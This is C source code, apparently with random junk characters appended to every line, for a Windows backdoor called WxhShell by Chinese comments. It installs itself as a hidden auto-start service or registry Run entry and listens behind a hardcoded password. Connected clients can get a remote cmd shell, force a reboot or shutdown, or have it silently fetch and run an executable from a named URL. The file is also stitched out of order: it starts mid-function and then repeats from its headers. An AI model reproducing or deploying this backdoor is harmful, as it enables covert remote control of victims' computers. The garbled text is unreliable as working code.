    } bB01aiUw@l  
    break; m0I/X$-Cl5  
    } \4;}S&`k  
  // 关机 G$b*N4yR  
  case 'd': { TiiMX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?f{{{0$S  
    if(Boot(SHUTDOWN)) u,]?_bK)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9(#X]'  
    else { F' eV%g  
    closesocket(wsh); X%ii z  
    ExitThread(0); Oj6PmUK4  
    } <5oG[1j  
    break; ;| (_;d  
    } [l;9](\8O  
  // 获取shell >z&|<H%  
  case 's': { ,^]yU?eU  
    CmdShell(wsh); >fCz,.L  
    closesocket(wsh); kNW}0CDgs  
    ExitThread(0); d@o1< Q  
    break; `~${fs{-`/  
  } /yRP>CX~  
  // 退出 l/|bU9o /u  
  case 'x': { E1p?v!   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2D,EWk/4  
    CloseIt(wsh); fTn  
    break; {(o$? =  
    } U-uBz4Gha  
  // 离开 xWNB/{F  
  case 'q': { \>}G|yL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R*m=V{iu`  
    closesocket(wsh); h_O6Z2J1  
    WSACleanup(); LEnm6  
    exit(1); [ArPoJt  
    break; GR@jn]50  
        } E_t ^osY&  
  } '`.bmiM  
  } &YAw~1A  
P2lDi!q|  
  // 提示信息 ~0S_S+e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sj@B0R=Qo  
} ^zdZ"\x  
  } KHK|Zu#k '  
\EP<r  
  return; 0(+3w\_!  
} Yh=/?&*  
tvh)N{j  
// shell模块句柄 {5<3./5O  
int CmdShell(SOCKET sock) *{}Y :  
{ xW`,@a }  
STARTUPINFO si; lIs<&-0  
ZeroMemory(&si,sizeof(si)); v.wHj@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^cQTRO|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )vO?d~x|  
PROCESS_INFORMATION ProcessInfo; C_c*21X  
char cmdline[]="cmd"; 4dfR}C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ygwej2  
  return 0; <$#;J>{WV  
} e -sZ_<GH  
Wnp\yx`  
// 自身启动模式 ^ +e5 M1U=  
int StartFromService(void) 9eA2v{!S  
{ 5~AK+6Za  
typedef struct r-Nv<oH;  
{ ~7$NVKE  
  DWORD ExitStatus; RtE2%d$JT  
  DWORD PebBaseAddress; })zYo 7  
  DWORD AffinityMask; lwY2zX&%)/  
  DWORD BasePriority; bf9LR1  
  ULONG UniqueProcessId; "mBX$t'gb  
  ULONG InheritedFromUniqueProcessId; "YUh4uZ~P  
}   PROCESS_BASIC_INFORMATION; :fxG]uf-P  
U9uy (KOW  
PROCNTQSIP NtQueryInformationProcess; ups] k?4  
#!a}ZhIt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fu}ZOPu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ Tr )gik  
p3sR>ToJ  
  HANDLE             hProcess; h[%t7qo=  
  PROCESS_BASIC_INFORMATION pbi; 3%"r%:fQB/  
bV'^0(Zv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K6C@YY(  
  if(NULL == hInst ) return 0; z?9vbx  
 BKiyog  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F_Pv\?35z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g;|3n&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @zz4,,]  
G)vq+L5%  
  if (!NtQueryInformationProcess) return 0; Y Ib=rR[ $  
3k5C;5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KF'DOXBw>  
  if(!hProcess) return 0; dZS v=UY)  
3,Dc}$t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o.)8  A8  
DH3.4EUWS  
  CloseHandle(hProcess); :P!"'&gCL  
Wr3).m52}P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >= G{.H  
if(hProcess==NULL) return 0; Zx%ib8| j  
u{Z 4M3U  
HMODULE hMod; d[cqs9=\  
char procName[255]; ?9F_E+!  
unsigned long cbNeeded; \( S69@f  
g$z9 (i+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W.B;Dy,Y  
|H.i$8_A  
  CloseHandle(hProcess);  2s+ITPr  
>EMsBX  
if(strstr(procName,"services")) return 1; // 以服务启动 .V4w+:i  
XN*?<s3  
  return 0; // 注册表启动 9:JFG{M  
} S 54N  
2;82*0Y%  
// 主模块 M/O4JZEqh  
int StartWxhshell(LPSTR lpCmdLine) &p."` C  
{ r)9&'m.:  
  SOCKET wsl; 1c$<z~  
BOOL val=TRUE; 1;e"3x"  
  int port=0;  .<0s?Q  
  struct sockaddr_in door; @xO?SjH  
G`a,(<kT;  
  if(wscfg.ws_autoins) Install(); 9;fyC =  
7W{xK'|]  
port=atoi(lpCmdLine); 3 &aBU [  
Aqc Cb[1r  
if(port<=0) port=wscfg.ws_port; fmDn1N-bG  
2l7Sbs7  
  WSADATA data; /b44;U`v5-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  H[cHF  
lphELPh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \0{g~cU4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2 /rDi  
  door.sin_family = AF_INET; 72YL   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "*ot:;I  
  door.sin_port = htons(port); yB>5p]$P  
H 3e(-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \`nRgY SE  
closesocket(wsl); Q|!}&=  
return 1; #/UlW  
} APfDy  
^KKU@ab9  
  if(listen(wsl,2) == INVALID_SOCKET) { qtqTLl@u  
closesocket(wsl); )_MIUQ%  
return 1; =LFrV9  
} Z#2AK63/T  
  Wxhshell(wsl); W7j-siWJ  
  WSACleanup(); -T s8y  
&~%( RO  
return 0; :9_N Y"P  
sSh=Idrx  
} B/iRR2h  
^KBE2C  
// 以NT服务方式启动 %XpYiW#AK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nE~HcxE/  
{ qWQ7:*DL  
DWORD   status = 0; |L@9qwF  
  DWORD   specificError = 0xfffffff; 8Wa&&YTB  
_cWz9 ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~JU :a@)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yf KJpy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s+=JT+g  
  serviceStatus.dwWin32ExitCode     = 0; P,(Tu.EPk  
  serviceStatus.dwServiceSpecificExitCode = 0; .7BB*!CP  
  serviceStatus.dwCheckPoint       = 0; [P,/J$v^~  
  serviceStatus.dwWaitHint       = 0; %LL*V|  
ylV.ZoY6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O_f+#K)  
  if (hServiceStatusHandle==0) return; A7/ R5p  
CdTyUl  
status = GetLastError(); v Ft]n  
  if (status!=NO_ERROR) uSAb  
{ z3RlD"F1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _$W</8 <  
    serviceStatus.dwCheckPoint       = 0; cH5@Jam  
    serviceStatus.dwWaitHint       = 0; 6X@]<R  
    serviceStatus.dwWin32ExitCode     = status; g_2m["6*  
    serviceStatus.dwServiceSpecificExitCode = specificError; )2U#<v^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @iW^OVpp<8  
    return; 'G.^g}N1  
  } NXwlRMbo  
QO'=O}e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |bHId!d  
  serviceStatus.dwCheckPoint       = 0; v4:g*MD?~  
  serviceStatus.dwWaitHint       = 0; p6VHa$[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !PaDq+fB  
} Is87 9_Z  
:+Pl~X"_  
// 处理NT服务事件,比如:启动、停止 :6^8Q,C1@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hhS]wM?B  
{ \F|L y >g  
switch(fdwControl) A YC22(  
{ !kPZuU `T  
case SERVICE_CONTROL_STOP:  N+<`Er  
  serviceStatus.dwWin32ExitCode = 0; 5y}kI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wU\3"!^h  
  serviceStatus.dwCheckPoint   = 0; 12NV  
  serviceStatus.dwWaitHint     = 0; ~)RKpRga\p  
  { 4_#y l9+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L @b8,  
  } 91Cg   
  return; qU'O4TWZ  
case SERVICE_CONTROL_PAUSE: |_Y[93 1<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~MvLrg"i  
  break; _` %z  
case SERVICE_CONTROL_CONTINUE: hb6UyN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rKP;T"?;  
  break; WHV]H  
case SERVICE_CONTROL_INTERROGATE: \Z +O9T%  
  break; "hwG"3n1  
};  2iUdTy$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BjT0m k"P  
} OV l,o  
nFVQOr;  
// 标准应用程序主函数 iNTw;ov  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %-Z0OzWe  
{ 2 |fN*Wm  
(HHVup1f  
// 获取操作系统版本 -?8;-h, h  
OsIsNt=GetOsVer(); 6j]pJ]F6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ty8\@l  
t/6t{*-w  
  // 从命令行安装 =uZOpeviQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9w-V +Nf  
;2m<#~@0  
  // 下载执行文件 0A~zu K  
if(wscfg.ws_downexe) { . Q#X'j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q%xvS,oI  
  WinExec(wscfg.ws_filenam,SW_HIDE); $/sQatic  
} "}"Bvp^  
 TP6iSF  
if(!OsIsNt) { 29 +p|n  
// 如果时win9x,隐藏进程并且设置为注册表启动 (_}w4N#  
HideProc(); N Fc@Kz<H  
StartWxhshell(lpCmdLine); H8>u:  
} EDm,Y  
else kEM5eY  
  if(StartFromService()) lP@/x+6tg  
  // 以服务方式启动 );LkEXC_'  
  StartServiceCtrlDispatcher(DispatchTable); 1U"Fk3  
else pGZ I697  
  // 普通方式启动 t~xp&LQiY  
  StartWxhshell(lpCmdLine); [:HT=LX3  
]-o0HY2  
return 0; GEg8\  
} 9(%ptnya  
&Rgy/1  
/4\!zPPj.  
7Y:~'&U|  
=========================================== oGzZ.K3 A  
y;N[#hY#CD  
0Ey*ci^ue  
z0;+.E!  
KrQ8//Ih  
Rt$Q *`u   
" #+2|ZfCn%  
wvAXt*R  
#include <stdio.h> >Q0HqOq  
#include <string.h> *mQOW]x%  
#include <windows.h> C<!%VHs  
#include <winsock2.h> V 0<>Xo%  
#include <winsvc.h> 0Hz*L,Bh4  
#include <urlmon.h> yqpb_h9  
EJ*  
#pragma comment (lib, "Ws2_32.lib") x,Im%!h  
#pragma comment (lib, "urlmon.lib") mdu5aL  
mVYLI!n}0#  
#define MAX_USER   100 // 最大客户端连接数 4\%0a,\^  
#define BUF_SOCK   200 // sock buffer Fe(qf>E  
#define KEY_BUFF   255 // 输入 buffer \Rc7$bS2H  
VP4W~;UV|\  
#define REBOOT     0   // 重启 mQQ5>0^m  
#define SHUTDOWN   1   // 关机 QdM&M^  
pN+lC[C  
#define DEF_PORT   5000 // 监听端口 /aepE~T  
l<7)uO^8  
#define REG_LEN     16   // 注册表键长度 D0?l$]aE  
#define SVC_LEN     80   // NT服务名长度 7` ^]:t  
U>^u!1X  
// 从dll定义API N?d4Pu1m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kRBPl9 9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nw3CI&Y`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [XA  f=x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tqY)  
'1{#I/P;  
// wxhshell配置信息 dP(*IOO.  
struct WSCFG { K!q:A+]  
  int ws_port;         // 监听端口 hJ0)"OA5  
  char ws_passstr[REG_LEN]; // 口令 4Fr0/="H  
  int ws_autoins;       // 安装标记, 1=yes 0=no &e\A v.n@-  
  char ws_regname[REG_LEN]; // 注册表键名 $7{V+>  
  char ws_svcname[REG_LEN]; // 服务名 {1^9*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XgUvgJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s)q;{wz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W&[}-E8<Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {`0GAW)q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ly?yW S-x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /? n 9c;w  
@0`Q  
}; lZTD>$  
wL]7d3t  
// default Wxhshell configuration n<;T BK  
struct WSCFG wscfg={DEF_PORT, CVsc#=w0  
    "xuhuanlingzhe", @P:  
    1, W{\){fr6O  
    "Wxhshell", ;mV,r,\dH  
    "Wxhshell", W`fE@*k0  
            "WxhShell Service", CB5 ~!nKv&  
    "Wrsky Windows CmdShell Service", 4'pg>;*.  
    "Please Input Your Password: ", RHo|&.B;+  
  1, ZbJUOa?WF  
  "http://www.wrsky.com/wxhshell.exe", N 3)OH6w"  
  "Wxhshell.exe" pA9:1*+;;  
    }; |q?I(b4Q@  
t 7D2k2x9  
// 消息定义模块 p<*\f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <tZPS`c'_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1MdVWFKXV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B9;-Blh  
char *msg_ws_ext="\n\rExit."; DiF=<} >x  
char *msg_ws_end="\n\rQuit."; `vJ+ sRf  
char *msg_ws_boot="\n\rReboot..."; CCJ!;d;&87  
char *msg_ws_poff="\n\rShutdown..."; /#?lG`'1  
char *msg_ws_down="\n\rSave to "; QKYGeT7&Y'  
9k_3=KS3N  
char *msg_ws_err="\n\rErr!"; tk5Bb`a  
char *msg_ws_ok="\n\rOK!"; ;8UHnhk_O  
2U6j?MyH2  
char ExeFile[MAX_PATH]; b'Gn)1NE  
int nUser = 0; 6KmF 9  
HANDLE handles[MAX_USER]; kW&{0xkGR  
int OsIsNt; <o5+*X  
q2}<n'o+  
SERVICE_STATUS       serviceStatus; MjMPbGUX{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6N >ksqo8%  
mqGp]'{  
// 函数声明 x\j6=|  
int Install(void); |2!/<%Yr`  
int Uninstall(void); /U[Y w)  
int DownloadFile(char *sURL, SOCKET wsh); .}.5|z} A  
int Boot(int flag); yKEE @@}\  
void HideProc(void); v7VJVLH,I7  
int GetOsVer(void); STp}?Cb  
int Wxhshell(SOCKET wsl); V)\|I8"  
void TalkWithClient(void *cs); ANh5-8y  
int CmdShell(SOCKET sock); >\b=bT@iM  
int StartFromService(void); 2s,wC!',  
int StartWxhshell(LPSTR lpCmdLine); >S5:zz\  
,L&Ka|N0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uQ#3;sFO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !8]W"@qb  
GYot5iLg  
// 数据结构和表定义 %&9tn0B  
SERVICE_TABLE_ENTRY DispatchTable[] = v4sc  
{ D,+I)-k<  
{wscfg.ws_svcname, NTServiceMain}, F7^d@hSV  
{NULL, NULL} :Vq gmn  
}; M:h~;+s  
Ow=`tv$l  
// 自我安装 )K\w0sjR  
int Install(void) = wNul"  
{ Y[x9c0  
  char svExeFile[MAX_PATH]; ['m@RJm+  
  HKEY key; [vpZ3;  
  strcpy(svExeFile,ExeFile); @AL,@P/9=  
li\hHd5  
// 如果是win9x系统,修改注册表设为自启动 & v=2u,]T  
if(!OsIsNt) { |r5|IA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kx6_Vp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , %X~/V  
  RegCloseKey(key); X\\WQxj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;<%~g8:XL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =!r9;L,?  
  RegCloseKey(key); $@q)IK%FDL  
  return 0; +\9Y;N y  
    } 5B| iBS l  
  } Gs2.}l z  
} 0o[p<<c*  
else { cYdk,N  
{U4BPKof  
// 如果是NT以上系统,安装为系统服务 |{]\n/M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o9~Z! &p  
if (schSCManager!=0) KcP86H52I  
{ S'vi +_  
  SC_HANDLE schService = CreateService nn$,|/  
  ( D %~s  
  schSCManager, >1xlP/4jx  
  wscfg.ws_svcname, he&*N*of:  
  wscfg.ws_svcdisp, M~;Ww-./  
  SERVICE_ALL_ACCESS, hRSRz5 J}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t#oJr2  
  SERVICE_AUTO_START, 0*W=u-|s6  
  SERVICE_ERROR_NORMAL, %WHue  
  svExeFile, f;#hcRSH  
  NULL, y!fV+S,  
  NULL, {PGNPxUbe  
  NULL, e4Ol:V  
  NULL, u*Eb4  
  NULL /r Zj=  
  ); "YHqls}c  
  if (schService!=0) 31k.{dnm  
  { C/ow{MxA  
  CloseServiceHandle(schService); 30g-J(Zg  
  CloseServiceHandle(schSCManager); )Z0pU\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  V3K  
  strcat(svExeFile,wscfg.ws_svcname); Ab -uK|<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mZJ"e,AY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2@Jw?+}vr  
  RegCloseKey(key); |#$Wh+,*  
  return 0; FVsVY1  
    } D_D<N(O  
  } X'e@(I!0  
  CloseServiceHandle(schSCManager); 1Ah  
} 8$-(%  
} 828E^Q"<  
rC}r99Pe:x  
return 1; YmFJlMK  
} }'a}s0h  
FkR9-X<  
// 自我卸载 _!H{\kU  
int Uninstall(void) =yOIP@  
{ =9FY;9  
  HKEY key; [F%INl-sy  
n  !]_o  
if(!OsIsNt) { dGf{d7D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G/\t<>O8o  
  RegDeleteValue(key,wscfg.ws_regname); a_w# ,^/P  
  RegCloseKey(key); l~Hs]*jm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5`*S'W}\>  
  RegDeleteValue(key,wscfg.ws_regname); K+TRt"W8&s  
  RegCloseKey(key); dGMBgj  
  return 0; I0sd%'Ht?  
  } Hq"i0X m  
} ,95Nj h  
} =K~<& l8  
else { BZ<Q.:)  
4]u53`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NMM0'tY~  
if (schSCManager!=0) rq Dre`m  
{ DG}t!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d%NO_=I.  
  if (schService!=0) 3i=+ [  
  { fmY=SqQG-  
  if(DeleteService(schService)!=0) { F#eZfj~  
  CloseServiceHandle(schService); A#RA;Dt:  
  CloseServiceHandle(schSCManager); 'J#u ;KJ  
  return 0; E$=!l{Ms  
  } lNowH0K!D  
  CloseServiceHandle(schService); -("sp  
  } !"j?dQ.U;  
  CloseServiceHandle(schSCManager); u.x>::i&  
} i]a 5cn  
} rg)>ZHx  
oOUL<ihe?  
return 1; ,1EyT>  
} u;H SX  
Eb{Zm<TP  
// 从指定url下载文件 Tn< <i  
int DownloadFile(char *sURL, SOCKET wsh) uV`r_P  
{ m!SxX&m"G  
  HRESULT hr; K[PH#dF5,x  
char seps[]= "/"; UUc{1"z{  
char *token; R$k4}p  
char *file; _Je<_pl!D  
char myURL[MAX_PATH]; BSYJ2   
char myFILE[MAX_PATH]; &eKnLGKD  
_so\h.lt  
strcpy(myURL,sURL); v8W.84e-  
  token=strtok(myURL,seps); @ U xO!  
  while(token!=NULL) [KMW *pA7  
  { *,q ?mO  
    file=token; C;];4[XR  
  token=strtok(NULL,seps); d5T M_ C  
  } b1JXC=*@  
p;zV4uSv  
GetCurrentDirectory(MAX_PATH,myFILE);  0eUK'   
strcat(myFILE, "\\"); =v]\{ .  
strcat(myFILE, file); rg64f'+Eug  
  send(wsh,myFILE,strlen(myFILE),0); X*hY?'Rp  
send(wsh,"...",3,0); YAQ]2<H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  yaza  
  if(hr==S_OK) P~`gWGC}  
return 0; @?lmho?  
else ]Qm$S5tU  
return 1; d,AEV_  
`w';}sQA7  
} bYQvh/(J  
0F> ils  
// 系统电源模块 "c` $U]M%  
int Boot(int flag) _ dEc? R}  
{ FOVghq@  
  HANDLE hToken; }vzP\  
  TOKEN_PRIVILEGES tkp; Q$_y +[  
#{KYsDtvx  
  if(OsIsNt) { |fqYMhA U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6RV42r^pf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lHQ:LI  
    tkp.PrivilegeCount = 1; `,a6su (?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U27YH1OK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KtTv0[66  
if(flag==REBOOT) { Q46^i7=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'ol8lIa.P  
  return 0; 4Bg"b/kF  
} V,:^@ 7d  
else { ~A^E_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yw @)0%G  
  return 0; qg1s]c~0u  
} Y1fcp_]m  
  } 3'tcEFkH  
  else { _#32hAI  
if(flag==REBOOT) { 2q]y(kW+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P t< JF  
  return 0; E| eEAa  
} San3^uX  
else { j"=F\S&!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kq|(t{@Rp  
  return 0; :Y wb  
} @A32|p}  
} SFqY*:svOw  
8R|!$P  
return 1; h;" 9.  
} C\ 2rSyo  
x6yYx_  
// win9x进程隐藏模块 NzS(, F  
void HideProc(void) pGZiADT  
{ ZtHTl\z  
|)~t ^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eka<mq|W  
  if ( hKernel != NULL ) -)N, HAM>  
  { FK;3atrz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,GO H8h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EPeKg{w  
    FreeLibrary(hKernel); ($QQuM=  
  } RZMR2fP%  
X5U#^^O$E%  
return; 709/'#- ^  
} IQZ/8UwB  
o6bT.{8\  
// 获取操作系统版本 }jE [vVlRw  
int GetOsVer(void) OHRkhwF.  
{ d{/#A%.  
  OSVERSIONINFO winfo; !ZxK+Xqx[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M02 U,!di  
  GetVersionEx(&winfo); qAI %6d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T'6MAxEZUq  
  return 1; zTBf.A;e7  
  else f4'WT  
  return 0; &|9K~#LVS  
} a gk w)#  
KBC?SxJSJc  
// 客户端句柄模块 trx y3k;  
int Wxhshell(SOCKET wsl) ?Vre" 6U  
{ [D%(Y ~2  
  SOCKET wsh; ^(F@#zN}  
  struct sockaddr_in client; 76oJCNY  
  DWORD myID; s5s'[<  
lcVZ 32MQ  
  while(nUser<MAX_USER) uH{oJSrK  
{ %eOO8^N  
  int nSize=sizeof(client); gOy;6\/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l+nT$IPF  
  if(wsh==INVALID_SOCKET) return 1; wn-1fz <d  
<%4M\n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mNA=<O;i)'  
if(handles[nUser]==0) ;yu#Bs  
  closesocket(wsh); J7;8 S  
else <uG6!P  
  nUser++; OLS/3c z  
  } X aE;i57$l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z ".Xroq~  
.Gt_~x  
  return 0; 6?(yMSKa  
} 3N[Rrxe2  
Ce/l[v  
// 关闭 socket 8bJj3vr  
void CloseIt(SOCKET wsh) % * k`z#b  
{ H\fsyxM7  
closesocket(wsh); +'|nsIx,  
nUser--; Sx8RH),k  
ExitThread(0); i 558&:  
} =u-q#<h4 ;  
%?hvN  
// 客户端请求句柄 y{KYR)   
void TalkWithClient(void *cs) q6PG=9d0B  
{ S4U}u l  
[H[L};%=j  
  SOCKET wsh=(SOCKET)cs; KAJR.YNm  
  char pwd[SVC_LEN]; 5 ) q_Aro  
  char cmd[KEY_BUFF]; )b?$ 4<X^  
char chr[1]; +70x0z2  
int i,j; h+R26lI1x  
Xf#+^cQ  
  while (nUser < MAX_USER) { NDUH10Y:[  
9.%t9RM^  
if(wscfg.ws_passstr) { i E?yvtr8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b>2{F6F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZkJLq[:cM  
  //ZeroMemory(pwd,KEY_BUFF); g=/!Ry=  
      i=0; "Zfm4Nx "  
  while(i<SVC_LEN) { 1xEFMHjy  
\E=MV~:R  
  // 设置超时 k|,Y_h0Y  
  fd_set FdRead; _\.4ofK(  
  struct timeval TimeOut; Ht:\ z;cu  
  FD_ZERO(&FdRead); dVs=*GEl9  
  FD_SET(wsh,&FdRead); O DEFs?%'  
  TimeOut.tv_sec=8; }Y^o("c(  
  TimeOut.tv_usec=0; Q=6 1.lP6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _N {4Rs0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %8H$62w]  
uPq@6,+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); to'CuPkT  
  pwd=chr[0]; ypgM&"eR  
  if(chr[0]==0xd || chr[0]==0xa) { Uc,MZV4  
  pwd=0; 0xx4rp H  
  break; <+-=j  
  } "F =NDF  
  i++; -{}h6r  
    } y/E:6w  
7},oY"" 8  
  // 如果是非法用户,关闭 socket i)$P1h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?7]G )8G6  
} Fge ["p?GF  
5%N[hd1Ql  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^TD%l8o6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  )m#Y^  
,k_"T.w  
while(1) { P!"{-m'  
Q*Y-@lZ  
  ZeroMemory(cmd,KEY_BUFF); :c|Om{;  
GM8Q#vc  
      // 自动支持客户端 telnet标准   H| _@9V  
  j=0; ?YMBZ   
  while(j<KEY_BUFF) { `Se2f0",  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @t a:9wZ  
  cmd[j]=chr[0]; :%z#s  
  if(chr[0]==0xa || chr[0]==0xd) { zYP6m3 n  
  cmd[j]=0; }SC&6B?G  
  break; et/:vLl13  
  } <(@Z#%O9)  
  j++; i\_LLXc  
    } D w/vXyZ  
Ims?  
  // 下载文件 +HPcv u?1  
  if(strstr(cmd,"http://")) { R`Fgne$4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ph%{h"  
  if(DownloadFile(cmd,wsh)) SXP(C^?C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sE'c$H  
  else Yj'9|4%+|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >|c?ZqW  
